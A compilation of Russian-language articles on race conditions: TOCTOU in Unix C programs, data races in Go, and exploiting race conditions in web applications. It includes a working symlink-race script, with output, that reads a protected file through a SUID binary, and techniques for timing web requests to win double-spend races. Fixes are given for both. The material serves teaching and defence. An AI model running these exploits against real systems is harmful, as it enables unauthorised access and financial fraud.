Что такое race condition?

Race Condition переводится с английского как «условия гонки» (если дословно) или состояние гонки. Часто говорят просто — гонка. Это понятие используется IT-специалистами, чтобы объяснить вызванное этим явлением поведение системы: когда одно событие происходит раньше другого (хотя не должно), и при этом такое поведение плавающее, то есть может проявляться или нет в зависимости от условий работы (скорости работы ПО, количества одновременных запросов и др.), или просто как «карта ляжет». Потому и называется гонка — никогда не понятно, какой запрос прибежит первым. Такая ошибка часто встречается в многопоточных системах, где потоки могут перегонять друг друга в очереди на доступ и изменение данных, переменных и тп.
Когда говорят там был рейс кондишн, все сразу понимают, что между какими-то событиями или запросам произошла гонка: то есть одно событие произошло быстрее другого, что привело к неправильному состоянию системы, порче данных и тп.
Например, пользователь еще не создался , а его уже запросили. Или при одновременной оплате дебетовой картой вам удалось уйти в минус, потому что пока первая оплата не снялась, произошла и была разрешена (так как на счету еще было достаточно средств) вторая. Эта разница во времени для человека очень маленькая — она может измеряться наносекундами. А для компьютера определяет порядок действий. Таким образом, из-за таких ошибок вы можете встречать странные, плавающие баги, чёткие шаги воспроизведения для которых довольно сложно определить и нужно тщательно исследовать систему, чтобы полностью разобраться.
Race conditions что это

Общие моменты
Состояние гонки — ошибка, допущенная при разработки программы, приводящая к нежелательному поведению данной программы в процессе её исполнения из-за временных задержек в работе.
Краткое описание в соответствии с CWE-362:
Программа содержит последовательность кода, который может исполняться параллельно с другим кодом и требует временный исключительный доступ к разделяемому (shared) ресурсу, однако существует временное окно, в котором этот разделяемый ресурс может быть изменён другой последовательностью кода, исполняемой параллельно.
Нежелательное поведение программы может проявляться в виде:
- Несанкционированного получения доступа к разделяемому объекту;
- Нарушение целостности разделяемого объекта, с которым работает программа;
- Вызов отказа в обслуживании программы.
Для появления подобной ошибки при исполнении программы необходимо наличие в ней следующих свойств:
- Совместно используемый (разделяемый, shared) объект, далее — объект гонки. Например, файл;
- Параллельные (конкурирующие) потоки исполнения (execution flows):
- Процессы (запущенные экземпляры программ / процессы-потомки одного родительского процесса);
- Потоки (параллельные потоки одного процесса);
Виды состояний гонки:
- TOCTOU (Time-of-Check Time-of-Use) — возможность изменения состояния объекта гонки между моментом проверки возможности доступа и собственно моментом доступа.
- Deadlock — ситуация, являющаяся следствием неправильной синхронизации, при которой параллельные потоки исполнения не могут получить доступ к объекту гонки, ожидая друг друга.
- Состояния гонки, связанные с созданием файлов (в т.ч. временных) — возможность подменить создаваемый программой файл другим/удалить этот файл.
Также пригодится и такое понятие, как «окно гонки» — участок кода программы, во время которого возможно стороннее (другим процессом/потоком, «обогнавшим» основной) изменение объекта гонки. Практически — временное окно.
Обнаружение
Проявляется при выполнении операций файлового ввода/вывода (а файловый ввод-вывод в *nix весьма распространён — UNIX-way же).
Сложность обнаружения и исправления подобных ошибок может быть различной (зависит от реализации программы, вида состояния гонки и т.д.). Но особенность именно этого класса ошибок в том, что они не являются детерминированными, их сложнее воспроизвести (получить проявление при каждом запуске программы) — следовательно, сложнее исправить.
Несмотря на то, что такие ошибки являются сложными для обнаружения, существуют подходы для того, чтобы узнать, подвержена ли та или иная программа ошибкам данного класса:
- Статическое тестирование (анализ исходного кода):
- Использование характерных шаблонов, приводящих к появлению окна гонки (например, последовательность для проверки доступа к файлу и последующему доступу к нему вида «stat() … fopen()» без контроля привилегий, которая может привести к TOCTOU гонке, или «неправильное» создание файла (без контроля того, существует ли этот файл до создания или нет) либо создание файла с предсказуемым именем в общедоступной папке (например, в /tmp));
- При наличии синхронизации параллельных потоков исполнения — проверка на правильность реализованной синхронизации (возможность deadlock’а).
- Метод «белого ящика»
- Метод «чёрного ящика»
Проверка на наличие состояния гонки в программе может производиться как в ручном, так и в автоматическом режимах: существуют программы, которые с различной долей успеха справляются с этой задачей (но об этом — в одной из следующих статей).
Устранение
Логично предположить, что состояние гонки сводится на нет при отсутствии одного из свойств программы, приводящих к подобной ошибке:
- Наличие объекта гонки;
- Существование параллельных потоков исполнения той же программы;
- Возможность изменения состояния объекта гонки одним из потоков исполнения.
Обычно упор делается на устранение последнего свойства. Реализуется это с помощью различных т.н. примитивов синхронизации (synchronization primitives), как то:
- Mutex’ы — для синхронизации потоков
- Семафоры — для синхронизации процессов
- Блокировка с помощью файла
- Конвейеры (pipe)
- Другие
TOCTOU race conditions в *nix-системах
Краткое описание в соответствии с CWE-367:
Программа проверяет состояние ресурса перед его использованием, но его состояние может измениться между проверкой и использованием таким образом, что это сводит на нет результаты проверки. Это может привести к тому, что программа будет производить недействительные действия, когда ресурс находится в непредвиденном состоянии.
Источники
Может возникнуть как между доверенными (потоки/процессы-наследники одной программы), так и между недоверенными (сторонний процесс) потоками исполнения. В данном случае окном гонки является промежуток между моментами проверки (check) и использования (use), отсюда и название: Time-of-Check Time-of-Use (TOCTOU).
Обнаружение
Можно выявить по исходному коду: например (для файлового ввода-вывода в программе, написанной на языке C), если проверка доступа к файлу для текущего пользования производится с помощью функций access(), fstat() или lstat() для файлового ввода-вывода (не вкупе, но об этом позже), а затем открытие этого файла — с помощью функции open() или fopen(). Также играет свою роль и использование функций для работы с файлом, использующих для обращения к файлу его символьное имя вместо аналогичных им, использующих дескриптор файла, полученный при его открытии с помощью функции open() (при наличии таковых аналогов):
- chown() —> fchown()
- chmod() —> fchmod()
- stat() —> fstat()
Подобных аналогов не имееют следующие функции (соответственно, использовать их следует более осторожно при возможности возникновения состояния гонки, т.е. во время «Time of Use»):
- link() и unlink()
- mkdir() и rmdir()
- mount() и unmount()
- lstat()
- mknod()
- symlink()
- utime()
Также важно, чтобы программа имела привилегии и другого пользователя (иначе гонка бессмысленна (естественно, с позиции получения несанкционированного доступа): программа в любом случае будет действовать с привелегиями текущего пользователя), например, иметь SUID/SGID бит в режиме доступа.
Эксплуатация
Как видно из перечисления источников возникновения, проэксплуатировать данную уязвимость можно с помощью стороннего процесса (т.е., запустить другую программу, которая повлияет на данную).
Для примера рассмотрим простейшую программу, имеющую следующий исходный код:
TOCTOU_example.c
#include #include #include #include #include void fail(const char *msg) < printf("%s", msg); exit(1); >int printFileContents(int fd) < char *file = NULL; struct stat file_stat; fstat(fd, &file_stat); if ((file = malloc(file_stat.st_size)) == NULL) fail("malloc() failed!\n"); if (read(fd, file,file_stat.st_size) != file_stat.st_size) fail("read() failed!\n"); printf("%s\n", file); >int main(int argc, char *argv[]) < int fd; if (argc < 2) < printf("Usage: %s \n", argv[0]); exit(1); > if (!access(argv[1],R_OK)) < printf("R_OK is passed!\n"); if ((fd = open(argv[1], O_RDONLY)) == -1) fail("open() failed\n"); else printFileContents(fd); >else fail("R_OK is NOT passed!\n"); return 0; >Моментом проверки здесь будет являться вызов access(), моментом использования — вызов open().
Пусть в системе существует пользователь admin, имеющий доступ для чтения файла dataz.txt в папке /home/admin/test/ и являющегося владельцем программы toctou_example (находящейся в той же папке).
Также в системе существует и пользователь tester (не входящий в группу admin), который может запускать программу toctou_example, но не имеющий никаких прав доступа к файлу dataz.txt.
admin@kali:~/test$ cat dataz.txt this file contain sum dataz admin@kali:~/test$ ./toctou_example dataz.txt R_OK is passed! this file contain sum dataz admin@kali:~/test$ tester@kali:~/test$ ls /home/admin/ total 4 drwxr-xr-x 2 admin admin 4096 Jul 22 05:37 test tester@kali:~/test$ ls /home/admin/test/ total 20 -rw-r----- 1 admin admin 27 Jul 22 05:37 dataz.txt -rw-r--r-- 1 admin admin 811 Jul 22 05:37 secure_example.c -rwsr-xr-x 1 admin admin 6223 Jul 22 05:37 toctou_example -rw-r--r-- 1 admin admin 811 Jul 22 05:37 toctou_example.c tester@kali:~/test$ cat /home/admin/test/dataz.txt cat: /home/admin/test/dataz.txt: Permission denied tester@kali:~/test$ /home/admin/test/toctou_example Usage: /home/admin/test/toctou_example tester@kali:~/test$ /home/admin/test/toctou_example /home/admin/test/dataz.txt R_OK is NOT passed! tester@kali:~/test$ ls total 4 -rwxr-x--- 1 tester tester 141 Jul 22 06:45 exploit.sh -rw-r--r-- 1 tester tester 16 Jul 22 05:42 mytextfile.txt tester@kali:~/test$ cat mytextfile.txt some dummy text tester@kali:~/test$ /home/admin/test/toctou_example mytextfile.txt R_OK is passed! some dummy text tester@kali:~/test$
Для данного примера подойдёт атака с помощью символьной ссылки (symlink, далее (для краткости) — симлинк). Проверка на основе вызова access() не проверяет, является ли указанный файл симлинком или нет, а просто «переходит» по нему (т.е. работает с файлом, на который ссылается этот симлинк).
TOCTOU_example_exploit.sh
#!/bin/bash while true do /home/admin/test/toctou_example pointer & ln -fs mytextfile pointer ln -fs /home/admin/test/dataz.txt pointer done
Данный скрипт работает следующим образом: в бесконечном цикле запускается программа (в фоновом режиме), в качестве файла для чтения которой передаётся симлинк с именем pointer (создаётся при первом вызове ln), который в том же цикле поочерёдно переключается то на целевой файл (dataz.txt), то на наш файл (mytextfile.txt).
tester@kali:~/test$ ./exploit.sh R_OK is NOT passed! R_OK is NOT passed! R_OK is NOT passed! some dummy text R_OK is NOT passed! R_OK is NOT passed! R_OK is NOT passed! R_OK is NOT passed! ----------[snip]---------- R_OK is passed! this file contain sum dataz R_OK is NOT passed! R_OK is NOT passed! R_OK is NOT passed! R_OK is NOT passed! R_OK is passed! this file contain sum dataz ^C tester@kali:~/test$
tester@kali:~/test$ ls total 8 -rwxr-x--- 1 tester tester 141 Jul 22 06:45 exploit.sh -rw-r--r-- 1 tester tester 16 Jul 22 05:42 mytextfile.txt lrwxrwxrwx 1 tester tester 10 Jul 22 07:56 pointer -> mytextfile ----------[snip]---------- tester@kali:~/test$ ls total 8 -rwxr-x--- 1 tester tester 141 Jul 22 06:45 exploit.sh -rw-r--r-- 1 tester tester 16 Jul 22 05:42 mytextfile.txt lrwxrwxrwx 1 tester tester 26 Jul 22 07:56 pointer -> /home/admin/test/dataz.txt
Таким образом, после нескольких попыток запуска программы (не переставая переключать симлинк) пользователь tester получил желаемое — содержимое файла dataz.txt, не имея к нему доступ для чтения.
Пути устранения
Для борьбы с атакой, использующей симлинк, можно использовать для проверки функцию lstat(), которая, в отличие от fstat(), проверяет сам симлинк, а не файл, на который тот ссылается. Но данная мера, пусть и решает проблему с симлинком, всё равно оставляет открытым окно гонки.
Для сужения окна гонки при воздействии недоверенных потоков исполнения (т.е. внешних процессов, как в нашем примере) будет использование более сложной проверки, например, комбинирование функций lstat() и fstat(), как в следующем примере (изменим код функции main() из toctou_example.c):
secure_main_function_#1.c
int main(int argc, char *argv[]) < int fd; if (argc < 2) < printf("Usage: %s \n", argv[0]); exit(1); > struct stat lst, fst; if (lstat(argv[1], &lst) == -1) fail("lstat() failed\n"); if ((fd = open(argv[1], O_EXCL | O_RDONLY, 0600)) == -1) fail("open() failed\n"); if (fstat (fd, &fst) == -1) fail("fstat() failed\n"); if (lst.st_mode == fst.st_mode && lst.st_ino == fst.st_ino && lst.st_dev == fst.st_dev) printFileContents(fd); else fail("Check is NOT passed!\n"); return 0; >Т.о. сначала, с помощью функции lstat() получаем данные о файле (файл это или симлинк; при этом используется символьное имя файла), затем, с помощью функции fstat() получаем данные о файле (уже переходя по симлинку, если таковой имеется; при этом используется файловый дескриптор), и наконец, полученные данные сравниваются по следующим полям (использованы лишь несколько полей, чтобы узнать полный список, можно обратиться к man stat(2)):
- st_mode — тип файла (например, симлинк или текстовый файл);
- st_ino — inode — индексный дескриптор — порядковый номер файла в таблице дескрипторов;
- st_dev — устройство, на котором находится файл.
Попробуем применить предыдущий эксплоит уже к данной программе:
tester@kali:~/test$ sed -i "s/toctou/secure1/ig" exploit.sh tester@kali:~/test$ cat exploit.sh #!/bin/bash while true do /home/admin/test/secure1_example pointer & ln -fs mytextfile pointer ln -fs /home/admin/test/dataz.txt pointer done tester@kali:~/test$ ./exploit.sh open() failed open() failed Check is NOT passed! open() failed open() failed open() failed open() failed ----------[snip]---------- Check is NOT passed! open() failed Check is NOT passed! open() failed open() failed open() failed ^C tester@kali:~/test$
Ещё одним из способов устранения возможности эксплуатации является отключение SUID/SGID бита либо (если нет такой возможности) сброса (перед выполнением проверки) привелегий до привелегий пользователя, запустившего программу (т.е. атакующего), что, как было сказано ранее, сделает гонку бессмысленной для атакующего (но не для доверенных потоков исполнения):
secure_main_function_#2.c
int main(int argc, char *argv[]) < int fd; if (argc < 2) < printf("Usage: %s \n", argv[0]); exit(1); > setuid(getuid()); setgid(getgid()); if (!access(argv[1],R_OK)) < printf("R_OK is passed!\n"); if ((fd = open(argv[1], O_EXCL | O_RDONLY)) == -1) fail("open() failed\n"); else printFileContents(fd); >else fail("R_OK is NOT passed!\n"); return 0; >Проверим на этот раз:
tester@kali:~/test$ sed -i "s/secure1/secure2/ig" exploit.sh tester@kali:~/test$ cat exploit.sh #!/bin/bash while true do /home/admin/test/secure2_example pointer & ln -fs mytextfile pointer ln -fs /home/admin/test/dataz.txt pointer done tester@kali:~/test$ ./exploit.sh R_OK is passed! some dummy text R_OK is passed! some dummy text R_OK is passed! open() failed ----------[snip]---------- R_OK is NOT passed! R_OK is NOT passed! R_OK is passed! some dummy text R_OK is passed! some dummy text ^C tester@kali:~/test$
Также для сужения окна гонки при дальнейшей работе с открытым файлом предпочтительно использование дескриптора файла вместо символьного имени файла. Но данная мера работает, опять-таки, при воздействии внешних процессов, т.к. при вызове fork() (функция для создания дочернего процесса) таблица дескрипторов родительского процесса в состоянии на момент вызова копируется в соответствующую таблицу процесса-потомка, что может привести к состояниям гонки между родительским процессом и процессами-потомками (и, соответственно, между самими процессами-потомками).
P. S.
- Некоторые источники включают в список параллельных потоков исполнения также и т.н. задачи (tasks). В данной статье они не включены в данный список, т.к. для *nix-систем это понятие синонимично процессу (см. в Wikipedia (en) и на StackOverflow).
- В реальных проектах состояния гонки такого вида (TOCTOU) проявлялись, например, в KDE 3/4 (CVE-2010-0436, подробнее здесь), в системах для составления отчёта об ошибках программ Apport (Ubuntu) и Abrt (Fedora) (CVE-2015-1318 и CVE-2015-1862 соответственно, подробнее здесь) или в самом ядре linux (CVE-2014-0196, подробнее здесь) и т.д.
- div
- 14023 0 —>
- OS security
Оставить комментарий Отменить ответ
Для отправки комментария вам необходимо авторизоваться.
Race condition и Data Race
Продолжаем серию статей о проблемах многопоточности, параллелизме, concurrency и других интересных штуках.
- Race condition и Data Race
- Deadlocks, Livelocks и Starvation
- Примитивы синхронизации в Go
- Безопасная работа с каналами в Go
- Goroutine Leaks
Race Condition и Data Race
Начинаем серию статей о проблемах многопоточности, параллелизме, concurrency и других интересных штуках. Race condition…
Race condition и data race — две разные проблемы многопоточности, которые часто путают. Попробуем разобраться.
Race condition
Существует много формулировок определения:
Race condition представляет собой класс проблем, в которых корректное поведение системы зависит от двух независимых событий, происходящих в правильном порядке, однако отсутствует механизм, для того чтобы гарантировать фактическое возникновение этих событий.
Race condition — ошибка проектирования многопоточной системы или приложения, при которой работа системы или приложения зависит от того, в каком порядке выполняются части кода.
Race condition — это нежелательная ситуация, которая возникает, когда устройство или система пытается выполнить две или более операций одновременно, но из-за природы устройства или системы, операции должны выполняться в правильной последовательности, чтобы быть выполненными правильно.
Race condition — это недостаток, связанный с синхронизацией или упорядочением событий, что приводит к ошибочному поведению программы.
Но мне нравиться наиболее короткое и простое:
Race condition — это недостаток, возникающий, когда время или порядок событий влияют на правильность программы.
Важно, что Race condition — это семантическая ошибка.
В проектирование электронных схем есть похожая проблема:
Состязание сигналов — явление в цифровых устройствах несоответствия работы данного устройства с заданным алгоритмом работы по причине возникновения переходных процессов в реальной аппаратуре.
Рассмотрим пример, где результат не определен:
go func() fmt.Printf("A->")
>()
go func() fmt.Printf("B")
>()Если запустить такой код много раз, то можно увидеть примерно такое:
A->B
A->B
A->B
A->B
BA->
A->BРезультат выполнения кода зависит от порядка выполнения горутин. Это типичная ошибка race condition. Ситуации могут быть гораздо сложней и не очевидней.
Учитывая, что race condition семантическая ошибка, нет общего способа который может отличить правильное и неправильное поведение программы в общем случае.
Помочь могут хорошие практики и проверенные паттерны.
Еще один пример:
x := 0
for go func() x++
>() go func() if x%2 == 0 time.Sleep(1 * time.Millisecond)
fmt.Println(x)
>
>()
>В результате на консоле получим четные и нечетные числа, а расчитывали увидеть только четные.
Проблемы с доступом к общим ресурсам проще обнаружить автоматически и решаются они обычно с помощью синхронизации:
var mu sync.Mutex
x := 0
for go func() mu.Lock()
x++
mu.Unlock()
>()
go func() mu.Lock()
if x%2 == 0 time.Sleep(1 * time.Millisecond)
fmt.Println(x)
>
mu.Unlock()
>()
>или локальной копией:
x := 0
for i := 0; i < 1000; i++ go func() x++
>()
go func() y := x
if y%2 == 0 time.Sleep(1 * time.Millisecond)
fmt.Println(y)
>
>()
>Data Race
Data race это состояние когда разные потоки обращаются к одной ячейке памяти без какой-либо синхронизации и как минимум один из потоков осуществляет запись.
Пример с балансом на счету:
type account struct balance int
>
func deposit(acc *account, amount int) acc.balance += amount
>Запускаем в разных горутинах:
acc := account0>
var wg sync.WaitGroup
for i := 0; i < 1000; i++ wg.Add(1)
go func(n int) deposit(&acc, 1)
wg.Done()
>(i)
>
wg.Wait()
fmt.Printf("balance=%d\n", acc.balance)Изначально баланс равен 0, депозитим 1000 раз по 1. Ожидаем баланс равный 1000, но результат другой:
balance=876Потеряли много денег.
Причина в том, что операция acc.balance += amount не атомарная. Она может разложиться на 3:
tmp := acc.balance
tmp = tmp + amount
acc.balance = tmpПока мы меняем временную переменную в одном потоке, в других уже изменен основной balance. Таким образом теряется часть изменений.
Например, у нас 2 параллельных потока выполнения, каждый должен прибавить к балансу по 1:
tmp := acc.balance // 100 || tmp := acc.balance // 100
tmp = tmp + amount // 101 || tmp = tmp + amount // 101
acc.balance = tmp // 101 || acc.balance = tmp // 101Ожидали получить баланс=102, а получили = 101.
У Data Race есть точное определение, которое не обязательно связано с корректностью, и поэтому их можно обнаружить. Существует множество разновидностей детекторов гонки данных (статическое/динамическое обнаружение, обнаружение на основе блокировок, обнаружение основанное на предшествующих событий, обнаружение гибридного data race).
У Go есть хороший Data Race Detector с помощью которого такие ошибки можно обнаружить.
Решается проблема с помощью синхронизации:
var mu sync.Mutex
func deposit(acc *account, amount int) mu.Lock()
acc.balance += amount
mu.Unlock()
>Иногда более эффективным решением будет использовать пакет atomic .
func deposit(acc *account, amount int64) atomic.AddInt64(&acc.balance, amount)
>Race Condition и Data Race
Функция для перевода средств с одного счета на другой:
func transfer1(accFrom, accTo *account, amount int) error if accFrom.balance < amount return fmt.Errorf("accFrom.balance>
accTo.balance += amount
accFrom.balance -= amount
return nil
>На одном счету у нас будет 1000, а на другом 0. Переводим по 1 в 1000 горутинах и ожидаем, что все деньги из одного счета перетекут в другой:
accFrom := account
accTo := account
var wg sync.WaitGroup
for i := 0; i < 1000; i++ wg.Add(1)
go func(n int) err := transfer1(&accFrom, &accTo, 1)
if err != nil fmt.Printf("error for n=%d\n", n)
>
wg.Done()
>(i)
>
wg.Wait()
fmt.Printf("accFrom.balance=%d\naccTo.balance=%d\n", accFrom.balance, accTo.balance)Но результат может быть таким:
accFrom.balance=84
accTo.balance=915Если запустить цикл на большее кол-во операций, то можно получить еще интересней:
accFrom.balance=0
accTo.balance=997При вызове из нескольких потоков без внешней синхронизации эта функция допускает как dara race (несколько потоков могут одновременно пытаться обновить баланс счета), так и race condition (в параллельном контексте это приведет к потере денег).
Для решения можно применить синхронизацию и локальную копию. Общая логика может быть не такой линейной и в итоге код может выглядит например так:
func transfer2(accFrom, accTo *account, amount int) error mu.Lock()
bal := accFrom.balance
mu.Unlock()
if bal < amount return fmt.Errorf("accFrom.balance> mu.Lock()
accTo.balance += amount
mu.Unlock()
mu.Lock()
accFrom.balance -= amount
mu.Unlock()
return nil
>У нас синхронизированы все участки с записью и чтением, у нас есть локальная копия, Race Detector больше не ругается на код. Запускаем 1000 операций и получаем верный результат:
accFrom.balance=0
accTo.balance=1000Но что если горутин будет 10к:
accFrom.balance=-15
accTo.balance=1015Мы решили проблему data race, но race condition остался. В данном случае можно сделать блокировку на всю логику перевода средств, но это не всегда возможно.
Решив Data Race через синхронизацию доступа к памяти (блокировки) не всегда решается race condition и logical correctness.
На сегодня все. Спасибо!
Race condition в веб-приложениях
TL;DR В статье описываются непопулярные трюки с race condition, которые обычно не используют в атаках такого типа. По итогу исследований мы сделали свой фреймворк для атак racepwn.
- Нужно убедиться, что сумма доступна Васе для перевода.
- Вычесть сумму, которую необходимо перевести из баланса пользователя
- Добавить к балансу пользователя Петя сумму которую перевели.
- Вывести сообщение пользователю, что он молодец!
Если (Вася.баланс >= сумма_перевода) То Вася.Баланс=Вася.Баланс-сумма_перевода Петя.Баланс=Петя.Баланс+сумма_перевода Поздравление() Иначе Ошибка()Но всё бы ничего, если бы все происходило в порядке очереди. Но сайт может обслуживать одновременно множество пользователей, а это происходит не в одном потоке, потому что современные веб-приложения используют многопроцессорность и многопоточность для параллельной обработки данных. C появлением многопоточности у программ появилась забавная архитектурная уязвимость — состояние гонки (или race condition).
А теперь представим, что наш алгоритм срабатывает одновременно 3 раза.
У Васи все так же 100 баллов на балансе, только вот каким-то образом он обратился к веб-приложению тремя потоками одновременно (с минимальным количеством времени между запросами). Все три потока проверяют, существует ли пользователь Петя, и проверяют, достаточно ли баланса у Васи для перевода. В тот момент времени, когда алгоритм проверяет баланс, он всё еще равен 100. Как только проверка пройдена, из текущего баланса 3 раза вычитается 100, и добавляется Пете.
Что мы имеем? У Васи на счету минусовой баланс (100 — 300 = -200 баллов). Тем временем, у Пети 300 баллов, хотя фактически, должно быть 100. Это и есть типичный пример эксплуатации состояния гонки. Сравнимо с тем, что по одному пропуску проходят сразу несколько человек. Ниже снимок экрана такой ситуации от 4lemon

Состояние гонки может быть как в многопоточных приложениях, так и в базах данных, в которых они работают. Не обязательно в веб-приложениях, например, это частый критерий для повышения привилегий в операционных системах. Хотя веб-приложения имеют свои особенности для успешной эксплуатации, о которых я и хочу рассказать.
Типичная эксплуатация race condition
Заходит хакер в кальянную, квест и бар, а ему — у вас race condition! Омар Ганиев
В большинстве случаев для проверки/эксплуатации состояния гонки используют многопоточное программное обеспечение в качестве клиента. Например, Burp Suite и его инструмент Intruder. Ставят один HTTP-запрос на повторение, устанавливают много потоков и включают флуд. Как например, в этой статье. Или в этой. Это достаточно рабочий способ, если сервер допускает использование множества потоков на свой ресурс и как пишут в статьях выше — если не получилось, попробуйте ещё раз. Но дело в том, что в некоторых ситуациях, это может быть не эффективно. Особенно если вспомнить, как подобные приложения обращаются к серверу.
Что там на сервере
Каждый поток устанавливает TCP соединение, отправляет данные, ждет ответа, закрывает соединение, открывает снова, отправляет данные и так далее. На первый взгляд, все данные отправляются одновременно, но сами HTTP-запросы могут приходить не синхронно и в разнобой из-за особенностей транспортного уровня, необходимости устанавливать защищенное соединение (HTTPS) и резолвить DNS (не в случае с burp’ом) и множества слоёв абстракций, которые проходят данные до отправки в сетевое устройство. Когда речь идет о миллисекундах, это может сыграть ключевую роль.
Конвейерная обработка HTTP
Можно вспомнить о HTTP-Pipelining, в котором можно отправлять данные с помощью одного сокета. Ты можешь сам посмотреть как это работает, использовав утилиту netcat (у тебя же есть GNU/Linux, ведь так?).
На самом деле использовать linux необходимо по многим причинам, ведь там более современный стек TCP/IP, который поддерживается ядрами операционной системы. Сервер скорее всего тоже на нем.
Например, выполни команду nc google.com 80 и вставь туда строки
GET / HTTP/1.1 Host: google.com GET / HTTP/1.1 Host: google.com GET / HTTP/1.1 Host: google.comТаким образом, в рамках одного соединения будет отправлено три HTTP-запроса, и ты получишь три HTTP ответа. Эту особенность можно использовать для минимизации времени между запросами.
Что там на сервере
Веб-сервер получит запросы последовательно (ключевое слово), и обработает ответы в порядке очереди. Эту особенность можно использовать для атаки в несколько шагов (когда необходимо последовательно выполнить два действия в минимальное количество времени) или, например, для замедления работы сервера в первом запросе, чтобы увеличить успешность атаки.
Трюк — ты можешь мешать серверу обработать твой запрос нагружая его СУБД, особенно эффективно если будет использован INSERT/UPDATE. Более тяжелые запросы могут “затормозить” твою нагрузку, тем самым, будет большая вероятность, что ты выиграешь эту гонку.Разбиение HTTP-запроса на две части
Для начала вспомни как формируется HTTP-запрос. Ну как ты знаешь, первая строка это метод, путь и версия протокола:
Дальше идут заголовки до переноса строки:
Host: google.com
Cookie: a=1
Но как веб-сервер узнает, что HTTP-запрос закончился?Давай рассмотрим на примере, введи nc google.com 80, а там
GET / HTTP/1.1
Host: google.com , после того, как нажмешь ENTER, ничего не произойдет. Нажмешь еще раз — увидишь ответ.То есть, чтобы веб-сервер принял HTTP-запрос, необходимо два перевода строки. А корректный запрос выглядит так:
GET / HTTP/1.1\r\nHost: google.com\r\n\r\n
Если бы это был метод POST (не забываем про Content-Length), то корректный HTTP-запрос был бы таким:
POST / HTTP/1.1
Host: google.com
Content-Length: 3POST / HTTP/1.1\r\nHost: google.com\r\nContent-Length: 3\r\n\r\na=1
Попробуй отправить подобный запрос из командной строки:
echo -ne "GET / HTTP/1.1\r\nHost: google.com\r\n\r\n" | nc google.com 80В итоге ты получишь ответ, так как наш HTTP-запрос полноценный. Но если ты уберешь последний символ \n, то ответа не получишь.
На самом деле многим веб-серверам достаточно использовать в качестве переноса \n, поэтому важно не менять местами \r и \n, иначе дальнейшие трюки могут не получиться.
Что это даёт? Ты можешь одновременно открыть множество соединений на ресурс, отправить 99% своего HTTP-запроса и оставив неотправленным последний байт. Сервер будет ждать пока ты не дошлёшь последний символ перевода строки. После того, как будет ясно, что основная часть данных отправлена — дослать последний байт (или несколько).
Это особенно важно, если речь идет о большом POST-запросе, например, когда необходима заливка файла. Но и даже в небольшом запросе это имеет смысл, так как доставить несколько байт намного быстрее, чем одновременно килобайты информации.
Задержка перед отправкой второй части запроса
По результатам исследования Влада Роскова, нужно не только расщеплять запрос, но и имеет смысл делать задержку в несколько секунд между отправкой основной части данных и завершающей. А всё потому, что веб-сервера начинают парсить запросы еще до того, как получат его целиком.

Что там на сервере
Например nginx при получении заголовков HTTP-запроса начнет их парсить, складывая неполноценный запрос в кэш. Когда придет последний байт — веб-сервер возьмет частично обработанный запрос и отправит его уже непосредственно приложению, тем самым сокращается время обработки запросов, что повышает вероятность атаки.
Как с этим бороться
В первую очередь это конечно же архитектурная проблема, если правильно спроектировать веб-приложение, можно избежать подобных гонок.
Обычно, применяют следующие методы борьбы с атакой:
- Используют блокировки.
- Рулят изоляциями транзакций.
- Используют мьютексные семафоры (хе-хе).
И вообще мне понравилось видео выступления Ивана Работяги про блокировки и транзакции, очень познавательно.
Особенности сессий в race condition
Одна из особенностей сессий может быть то, что она сама по-себе мешает эксплуатировать гонку. Например, в языке PHP после session_start() происходит блокировка сессионного файла, и его разблокировка наступит только по окончанию работы сценария (если не было вызова session_write_close). Если в этот момент вызван другой сценарий который использует сессию, он будет ждать.
Для обхода этой особенности можно использовать простой трюк — выполнить аутентификацию нужное количество раз. Если веб-приложение разрешает создавать множество сессий для одного пользователя, просто собираем все PHPSESSID и делаем каждому запросу свой идентификатор.
Близость к серверу
Если сайт, на котором необходимо эксплуатировать race condition хостится в AWS — возьми тачку в AWS. Если в DigitalOcean — бери там.
Когда задача отправить запросы и минимизировать промежуток отправки между ними, непосредственная близость к веб-серверу несомненно будет плюсом.
Ведь есть разница, когда ping к серверу 200 и 10 мс. А если повезет, вы вообще можете оказаться на одном физическом сервере, тогда зарейсить будет немного проще 🙂
Подводя черту
Для успешного race condition можно применять различные трюки для увеличения вероятности успеха. Отправлять несколько запросов (keep-alive) в одном, замедляя веб-сервер. Разбивать запрос на несколько частей и создавать задержку перед отправкой. Уменьшать расстояние до сервера и количество абстракций до сетевого интерфейса.
В результате этого анализа мы вместе с Michail Badin разработали инструмент RacePWN
Он состоит из двух компонентов:
- Библиотеки librace на языке C, которая за минимальное время и используя большинство фишек из статьи отправляет множество HTTP-запросов на сервер
- Утилиты racepwn, которая принимает на вход json-конфигурацию и вообще рулит этой библиотекой
Но на самом деле ещё есть куда расти и можно вспомнить о HTTP/2 и его перспективы для атаки. Но в данный момент HTTP/2 у большинство ресурсов лишь фронт, проксирующий запросы в старый-добрый HTTP/1.1.
Может ты знаешь еще какие-то тонкости?